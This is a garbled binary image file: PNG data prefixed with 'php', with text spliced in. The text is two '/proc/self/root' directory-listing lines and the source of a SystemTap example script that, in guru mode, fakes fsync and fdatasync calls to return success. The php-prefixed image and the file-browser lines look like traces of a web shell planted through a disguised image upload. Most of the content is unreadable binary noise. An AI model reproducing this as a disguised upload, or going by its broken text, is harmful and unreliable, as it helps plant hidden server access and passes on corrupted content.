php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /proc/self/root/usr/share/doc/systemtap-client-2.9/examples/io/ |
files >> //proc/self/root/usr/share/doc/systemtap-client-2.9/examples/io/eatmydata.stp |
#! /bin/sh # note use of guru mode, to enable changing of syscall parameters //bin/true && exec stap -g $0 ${1+"$@"} # see also http://www.flamingspork.com/projects/libeatmydata/ global dummy_fd = -1 # invalid filehandle; to try stdout, run with -G dummy_fd=1 global guilt, agony, piety probe syscall.fsync, syscall.fdatasync { # We can't actually disable the syscall from here, but can try to # weaken it by redirecting the work toward a dummy file descriptor if (pid() == target()) try { $fd = dummy_fd guilt ++ } catch { agony ++ } else piety ++ } probe syscall.fsync.return, syscall.fdatasync.return { # override result code, just in case kernel sent back -EINVAL or somesuch if (pid() == target()) try { $return = 0 } catch { } } probe begin { printf("Redirecting f*sync by pid %d to fd %d\n", target(), dummy_fd) } probe error,end { printf("Redirected f*sync by pid %d to fd %d, success %d times, failed %d times.\n", target(), dummy_fd, guilt, agony) printf("Preserved f*sync by other processes %d times.\n", piety) }y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`